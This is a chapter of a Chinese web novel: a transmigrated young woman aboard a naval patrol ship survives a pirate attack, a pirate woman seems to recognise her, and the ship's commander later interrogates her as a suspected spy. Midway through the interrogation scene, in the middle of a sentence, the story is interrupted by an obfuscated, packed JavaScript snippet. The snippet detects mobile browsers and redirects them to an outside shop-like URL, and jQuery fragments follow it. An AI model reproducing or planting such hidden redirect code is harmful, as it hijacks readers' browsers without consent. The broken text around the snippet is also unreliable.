这艘海盗船几乎是从水里凭空冒出来的。
夜晚本就不易视物,且今夜海上有雾气,海盗专门挑好了时机接近。
这种情形极为少见,海盗船通常不会直接攻击官船。他们虽有武器装备,但并不能与官船火力相抗。且大穆巡海船队最少有三支船,譬如程归行所带领的这一支,便是一主二副。寻常海盗打劫商船便可获利,实在没有必要触官府的霉头,既危险还没半点油水。
镇海号悬旗喝令,但海盗船视若无物,继续贴近。
“轰!”
火炮发出,擦着了船尾,仍没有阻止其前行。
程归行通过窥筒瞭望,见那船十分破旧矮小,除了挂着幅海龙纹旗,船上竟像是空无一人。
他疑心有诈,命船队退开,避其锋芒。
果然,那艘歪歪斜斜如病猫的海盗船行到近处,忽然火光冲天,火焰迅速蔓延整个船身,直直朝巡海船队冲来!
巡海船队迅速分散开,以防被火势波及。
“此乃诱敌之策,不可疏于后方防备!”程归行喝令,并指挥其中一艘副船移于后方。
此时几艘狭长瘦小、如游鱼般迅疾的海盗船,已借着烟雾和背光掩饰,从后方接近主船。
饶是料到背后有偷袭,但海上浓烟滚滚,难辨方向,官船身量较大,行动略迟一步,尚未就位,两艘海盗船已先一步挡在主船后方。它们向副船发射火炮,阻挠其靠近,另一艘海盗船则将钩爪扔上主船船尾。
接驳战开始了。
*
扬铎已料到混乱之中无人会顾及她,在那艘火船如敢死兵般迎面冲来时,她便拼命钻入底舱,只盼离甲板越远越好。
然而这群海盗兵分两路,一群在甲板上与兵士缠斗,一群在各舱搜寻,像是在找什么东西。
扬铎尚未找好藏身之处,便被人一把揪住衣领,拖了出来。
为首之人摘下面巾,竟是个女子。
她盯着扬铎看了一瞬,有些疑惑,低声唤道:“……夺儿?”
扬铎早已吓得两股战战,浑身觳觫,脑中只剩一个念头——
谁?我吗?
我不认识你啊!
女子见她这般神情,旋即对正抓着扬铎衣领的男子叱道:
“松手!把孩子吓到了!”
男子依言松开。扬铎方才喘得一口气,手却立刻被另一只铁钳扣住。
“跟我走!”
那女子攥着她腕子,转身便往舱口冲去。
舱梯处已有人堵截,居高临下,海盗们不占优势。但这女子带的这一支海盗竟悍勇无比,弯刀虎虎生风,不畏死般一番砍杀,硬生生劈开道路,拖着扬铎冲回甲板。
“可拿到了?”女海盗厉声问甲板上的同伙。
“拿到了!”
“撤!”
余下海盗毫不恋战,立刻向船尾悬索退去。
就在此时,几声火铳巨响骤然炸开——原来数名官兵早已在船尾埋伏,钩爪索也被砍断。
那女海盗骂了一声,也抽出腰间火铳,逼退追兵,随即重新掷出钩爪。她与那男子各攀上一条索,又半挟着扬铎欲上她那一条。
这一刻,扬铎心中念头飞转:若跟着这群海盗走,海难也罢,身份暴露也好,眼前危机都可消除;且这女子似与原主相识,当暂无性命之忧。
可镇海号呢?
若是官员将她的话没当回事,且今夜官船损伤不重,极可能休整后继续前行,闯入那片海域!
“你们先走,不必管我。”她低声道,反而向后退了一步。
不愧是所有影视剧角色危急时刻最爱讲的话,扬铎说完自己都感到一阵恶寒
果然,女海盗满眼无语地看了她一眼。
恰在此时,程归行于鏖战中一声令下,主船数炮齐发,接驳的海盗船主桅被拦腰击断。
女海盗见状,立知接驳船已无法载他们逃脱,无暇再与扬铎纠缠。
她咬了咬牙,冲同伴打了个手势,冲扬铎低声道:“那你可抓紧了!”
刀光一闪,她反手斩断了与扬铎相连的那段绳索。紧接着佯装向扬铎发射了数道飞刀,却尽数钉入官船船身之中。
随即她与同伴翻身跃入海中,借着夜色与烟雾,向远处尚能航行的小海盗船潜游而去。
扬铎整个人被悬在船尾,身子在半空晃荡,下方便是海面,她死死拽住了那半截绳索,吓得几欲胆裂。
——我是想当好人,但不是想寻死啊!
已有兵士认出她来,下意识救人。这一耽搁,便让那一行人脱身而去了。
*
天色渐明,海上已归于平静。
周遭烟尘缭绕,只有海盗们弃掉的船和一些碎木片在海上漂着。程归行一边安排主船兵士救治伤员、检查受损情形,一边联络两艘副船,查问伤亡及俘虏情况。
然而竟无一名被俘活口。
所有海盗要么在打斗中伏诛,要么在即将被俘时自戕。
程归行听着下属汇报,已是眉头紧锁。这不似贼人劫掠,更像是死士来执行什么任务。但他所带领的只是一条普通巡海船队,巡海路线也大多是固定的,并无任何机密。
官船受的损伤也并不严重,甚至物资都没有少。这群海盗付出两条船的代价,冒如此大风险,却只是来骚扰一番,造成些皮肉伤,这毫无道理可言。
诸多疑虑,已经超出了程归行这些年与海贼打交道的经验。他决定休整半日,巡完边线尽快回航,汇报上级官员。
这时,有兵士来报,说那位杨氏女子醒了。
程归行捏紧了正在写汇报的笔杆,一道墨迹撇出了线格。
才说没有活口,差点忘了还有这位商家女子......
——不,分明是杨氏女贼!
*
扬铎求生之欲极强,昨夜硬是撑到兵士们把她拉上甲板。但在接触到甲板的那一瞬,她这具身体便立刻腿软,晕厥过去。
昏沉之中,她脑中闪过了一些画面。她试图分辨,却像正常人带了近视镜一样,眼前事物顿时带了种说不清道不明的扭曲感,令人头晕目眩。
好容易定下神来,才隐约发现是一间屋子,古人住的那种。身边有中年妇人笑容可掬地在对她说什么,听不清,只能见到对方端茶倒水,扶她起来更衣。
接下来便是出门了,她的视角随之移动,结果发现走了半天,才刚出了这张床架子分出的一个小隔间。
好大的床!
扬铎用贫瘠的语言发出感叹。
又出了一道门——这次是真的出门了,视野变得明亮起来,进入一个庭院,有些花花草草,假山小径,再走过一道月亮门,穿亭过廊,终于到了一个更气派的屋子。
有一人在屋中等候。
扬铎只能判断他是个年长男子,因为......
那张转过来的脸没有五官。
这都是什么惊悚剧情!
扬铎被吓醒了。
她一醒来,便知大事不妙。
小小的杂物间,站
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209421|197383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一个官两个兵,都面容不善。她一只胳膊悬吊在胸前,微微一动,便一阵疼痛传来。
“脱臼了,刚接上。”
千户大人声音冷森森的,再不复扬铎初见时的温和。
扬铎也不敢再躺着了,忍痛坐起身来。
“你是‘混海龙’什么人,如实招来!”
一声断喝,吓得扬铎一抖。
“混海龙”,一听就是个海盗头子的名。
“我.......民女不认得什么‘混海龙’......”扬铎揣测着回道。纵然辩词苍白,但她也知道现在决计不能认,能拖一刻是一刻。
况且她也不知道,自己究竟能认那‘混海龙’家里哪个亲戚啊!
“大胆女贼,还在狡辩,你身上分明有那......”程千户顿了顿,没说下去,“总之,必是有干系!”
他那一停顿,扬铎心中已了然——未必是那女海盗逃离时伪装不足,不然船上兵士觉得扬铎是“奸细”,昨日也不会出手救她。
多半是肩颈上这纹身败了事,恐怕昨日医生救治时发现了。
她心中再次暗骂这群海盗离谱的纹身文化。
“你当日可是假意落水,故意引官船相救,再潜伏船上为贼人传递消息?”
扬铎心下一沉。
这下弄巧成拙了。
她本来想留下来,设法让程千户采纳自己的意见,改道避险。没想到眼下身份败露,千户恐怕会将她从头怀疑到脚,自己的话在他那里恐怕再无半分可信!
扬铎知道此时不能硬扛,得顺着他的猜想说几分。不然,若那千户就此认定她是奸细,对她的话全盘不信,那可就糟糕了。
她忽然想到梦中情景,大胆猜测这或许是原主脑内影响——只不知为何还没加载到她脑子里。
扬铎只得绞尽脑汁,道:“大人明鉴,民女确实不认得那‘混海龙’!民女自幼住在泉溪一带,家中有几个仆妇照应,家中长辈.......”
“只有一位自称叔父的露过几次面,并不熟识。平时也不怎么出门。但前段时间,这位叔父忽然要携民女远行,说是要回本家,还要坐船。民女第一次坐上船,就糟了这样的难......”
燃尽了,真的燃尽了。
扬铎感到自己的脑细胞在大批死去,如果那千户还是不信,她可实在没招了。
她已经在尽力把自己的身份往“‘混海龙’家一无所知的私生女”的方向引,显得自己丝毫不知这些恶行,只是有潜在亲属关系,那身上有条小龙用来认亲,不是合理得多?
电视剧都是这么演的。
程归行听了她的“供词”,显然还是不信,但已有部分与他先前猜想相合。且这女子看起来实在羸弱,不堪大用。海盗若真派奸细,也不会派这种的。
退一步讲,海上情形瞬息万变,风向洋流难测,就算真把她放到个浮板上,怎么保证她正正好被官船所救,不被淹死?又如何通传的消息?
而且昨日那海盗离去时杀伐果断,显然也并不在意这女子留在官船上会向官兵透露什么秘辛,看来她对海盗的谋划也知之甚少。
扬铎余光一直偷瞄程千户,发现他虽然脸上神色不显,但眼神已经开始在“信”与“不信”中反复游移。
最后程千户站起身来,道:“你且安分守己,不得再造次。待查明身份,自另有处置。”
他安排两个人守在门口,便离去了。
扬铎松了口气。
看来暂时不会被一刀斩杀了。